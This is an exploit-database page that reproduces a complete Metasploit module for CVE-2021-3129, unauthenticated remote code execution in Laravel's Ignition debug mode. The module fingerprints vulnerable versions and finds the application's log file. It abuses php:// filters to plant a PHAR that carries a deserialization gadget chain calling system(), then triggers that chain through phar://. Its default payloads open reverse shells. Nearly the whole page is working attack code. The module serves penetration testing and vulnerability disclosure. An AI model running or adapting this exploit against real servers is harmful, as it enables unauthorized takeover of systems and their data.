Sploitus

Exploit for Ignition Remote Code Execution

packetstorm · 2022-02-16

Exploit Code

ruby227 lines
## https://sploitus.com/exploit?id=PACKETSTORM:165999
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Unauthenticated remote code execution in Ignition',  
'Description' => %q{  
Ignition before 2.5.2, as used in Laravel and other products,  
allows unauthenticated remote attackers to execute arbitrary code  
because of insecure usage of file_get_contents() and file_put_contents().  
This is exploitable on sites using debug mode with Laravel before 8.4.2.  
},  
'Author' => [  
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging  
'ambionics' # discovered  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2021-3129'],  
['URL', 'https://www.ambionics.io/blog/laravel-debug-rce']  
],  
'DisclosureDate' => '2021-01-13',  
'Platform' => %w[unix linux macos win],  
'Targets' => [  
[  
'Unix (In-Memory)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }  
}  
],  
[  
'Windows (In-Memory)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :win_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }  
}  
]  
],  
'Privileged' => false,  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']),  
OptString.new('LOGFILE', [false, 'Laravel log file absolute path'])  
])  
end  
  
def check  
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s),  
'method' => 'PUT'  
}, 1)  
# Check whether it is using facade/ignition  
# If is using it should respond method not allowed  
# checking if debug mode is enable  
if res && res.code == 405 && res.body.match(/label:"(Debug)"/)  
vprint_status 'Debug mode is enabled.'  
# check version  
versions = JSON.parse(  
res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}')  
)  
version = Rex::Version.new(versions['framework_version'])  
vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}"  
# to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid)  
# but it is way more intrusive than just checking the version moreover we would need to call  
# the find_log_file method before, meaning four requests more.  
return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1')  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
@logfile = datastore['LOGFILE'] || find_log_file  
fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile  
  
clear_log  
put_payload  
convert_to_phar  
run_phar  
  
handler  
  
clear_log  
end  
  
def find_log_file  
vprint_status 'Trying to detect log file'  
res = post Rex::Text.rand_text_alpha_upper(12)  
if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?})  
logpath = Regexp.last_match(1).gsub(/\\/, '')  
vprint_status "Found directory candidate #{logpath}"  
logfile = "#{logpath}/storage/logs/laravel.log"  
vprint_status "Checking if #{logfile} exists"  
res = post logfile  
if res.code == 200  
vprint_status "Found log file #{logfile}"  
return logfile  
end  
vprint_error "Log file does not exist #{logfile}"  
return  
end  
vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually'  
return  
end  
  
def clear_log  
res = post "php://filter/read=consumed/resource=#{@logfile}"  
# guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true)  
fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200  
end  
  
def put_payload  
post format_payload  
post Rex::Text.rand_text_alpha_upper(2)  
end  
  
def convert_to_phar  
filters = %w[  
convert.quoted-printable-decode  
convert.iconv.utf-16le.utf-8  
convert.base64-decode  
].join('|')  
  
post "php://filter/write=#{filters}/resource=#{@logfile}"  
end  
  
def run_phar  
post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt"  
# resp.body.match(%r{^(.*)\n<!doctype html>})  
# $1 ? print_good($1) : nil  
end  
  
def body_template(data)  
{  
solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',  
parameters: {  
viewFile: data,  
variableName: Rex::Text.rand_text_alpha_lower(4..12)  
}  
}.to_json  
end  
  
def post(data)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s),  
'method' => 'POST',  
'data' => body_template(data),  
'ctype' => 'application/json',  
'headers' => {  
'Accept' => '*/*',  
'Accept-Encoding' => 'gzip, deflate'  
}  
})  
end  
  
def generate_phar(pop)  
file = Rex::Text.rand_text_alpha_lower(8)  
stub = "<?php __HALT_COMPILER(); ?>\r\n"  
file_contents = Rex::Text.rand_text_alpha_lower(20)  
file_crc32 = Zlib.crc32(file_contents) & 0xffffffff  
manifest_len = 40 + pop.length + file.length  
phar = stub  
phar << [manifest_len].pack('V') # length of manifest in bytes  
phar << [0x1].pack('V') # number of files in the phar  
phar << [0x11].pack('v') # api version of the phar manifest  
phar << [0x10000].pack('V') # global phar bitmapped flags  
phar << [0x0].pack('V') # length of phar alias  
phar << [pop.length].pack('V') # length of phar metadata  
phar << pop # pop chain  
phar << [file.length].pack('V') # length of filename in the archive  
phar << file # filename  
phar << [file_contents.length].pack('V') # length of the uncompressed file contents  
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.  
phar << [file_contents.length].pack('V') # length of the compressed file contents  
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents  
phar << [0x1b6].pack('V') # bit-mapped file-specific flags  
phar << [0x0].pack('V') # serialized File Meta-data length  
phar << file_contents # serialized File Meta-data  
phar << [Rex::Text.sha1(phar)].pack('H*') # signature  
phar << [0x2].pack('V') # signiture type  
phar << 'GBMB' # signature presence  
  
return phar  
end  
  
def format_payload  
# rubocop:disable Style/StringLiterals  
serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\""  
serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";"  
serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\""  
serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\""  
serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";"  
serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";"  
serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}"  
# rubocop:enable Style/StringLiterals  
phar = generate_phar(serialize)  
  
b64_gadget = Base64.strict_encode64(phar).gsub('=', '')  
payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join  
  
return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00'  
end  
  
end